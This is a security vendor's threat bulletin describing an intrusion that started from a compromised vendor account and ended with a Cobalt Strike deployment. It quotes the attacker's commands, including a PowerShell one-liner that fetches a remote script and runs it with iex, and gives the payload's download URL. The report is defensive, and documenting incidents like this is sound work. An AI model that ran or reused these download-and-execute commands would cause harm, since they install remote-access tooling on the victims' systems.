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Ransomware Precursor Activity Traced to Compromised Vendor Account

BY eSentire Threat Response Unit (TRU)

March 7, 2024 | 5 MINS READ


Threat Intelligence

Threat Response Unit

TRU Positive/Bulletin

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Adversaries don’t work 9-5 and neither do we. At eSentire, our 24/7 SOCs are staffed with Elite Threat Hunters and Cyber Analysts who hunt, investigate, contain and respond to threats within minutes.

We have discovered some of the most dangerous threats and nation state attacks in our space – including the Kaseya MSP breach and the more_eggs malware.

Our Security Operations Centers are supported with Threat Intelligence, Tactical Threat Response and Advanced Threat Analytics driven by our Threat Response Unit – the TRU team.

In TRU Positives, eSentire’s Threat Response Unit (TRU) provides a summary of a recent threat investigation. We outline how we responded to the confirmed threat and what recommendations we have going forward.

Here’s the latest from our TRU Team…

What did we find?

In February 2024, the eSentire Threat Response Unit (TRU) detected a compromised host through an RDP session initiated by a compromised IT services vendor account beyond our monitoring scope. The threat actor conducted domain reconnaissance, extracted credentials, escalated privileges, and deployed the Level.io RMM tool. This sequence of actions culminated in the deployment of the Cobalt Strike.

Given the observed Tactics, Techniques, and Procedures (TTPs), we assess that there is a realistic probability the threat may be associated with Scattered Spider cybercriminal group. However, this assessment remains unconfirmed due to limited visibility regarding patient zero.

Initially, we observed the threat actor attempting to install Level.io with the following command:

"C:\Windows\Temp\level-windows-amd64.exe" /k <REDACTED API KEY> /a install

Next, the threat actor proceeded with reconnaissance activities with the following commands:

The network discovery tool was dropped via an RDP session (T1105) under “C:\ProgramData\netscan\netscan\netscan.exe” (MD5: 52746d457f8ec149fd13dea85b654b19). The network discovery initiated from netscan.exe was terminated by an endpoint agent.

Another attempt was made to install a Level RMM agent (T1219) on the host via the PowerShell script (Figure 1) using the command:

$env:LEVEL_API_KEY = <REDACTED_API_KEY>; Set-ExecutionPolicy RemoteSigned -Scope Process -Force; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; iwr -useb hxxps://downloads.level[.]io/install_windows.ps1 | iex

Figure 1: Snippet of install windows.ps1

Credential dumping attempts (T1003) were inferred from the observed use of Task Manager, which was accessed by right-clicking on the Taskbar and indicated by the command line invocation "taskmgr.exe /4".

The threat actor attempted to export the SAM registry hive (T1003.002) using the following command:

However, we did not detect any attempts by the threat actor to extract the SYSTEM registry hive. Since the SYSTEM hive is necessary to decrypt the hashed passwords in the SAM hive, the absence of such extraction efforts suggests that the threat actor didn’t succeed in acquiring the SAM registry hive.

An attempt to reset the Administrator’s credentials was made using the command:

The threat actor used the command "dir /a:h" to reveal all hidden files in the current directory. Following this, they executed the Cobalt Strike payload "payload64.exe" (MD5: 155560e1e4ea8fcce047514a52950859).

The payload was retrieved via hxxps[://]temp[.]sh/VWXth/cob[.]zip (MD5: 192644d5f4fc2313bca0224210c0b6c7).

It's important to note that the ZIP archive includes three additional Cobalt Strike payloads as fallback options, all of which connect to the same command and control (C2) server.

Additionally, the threat actor regularly issued the "cls" command to remove all prior commands and outputs from the command prompt.

Multiple attempts were made to escalate the privileges to the SYSTEM level via PsExec:

What can you learn from this TRU Positive?

What did we do?

Our team of 24/7 SOC Cyber Analysts issued an alert to the customer regarding suspicious activities and isolated the affected host.

Recommendations from our Threat Response Unit (TRU):

Indicators of Compromise

You can access Indicators of Compromise here.


eSentire Threat Response Unit (TRU)
eSentire Threat Response Unit (TRU)

The eSentire Threat Response Unit (TRU) is an industry-leading threat research team committed to helping your organization become more resilient. TRU is an elite team of threat hunters and researchers that supports our 24/7 Security Operations Centers (SOCs), builds threat detection models across the eSentire XDR Cloud Platform, and works as an extension of your security team to continuously improve our Managed Detection and Response service. By providing complete visibility across your attack surface and performing global threat sweeps and proactive hypothesis-driven threat hunts augmented by original threat research, we are laser-focused on defending your organization against known and unknown threats.

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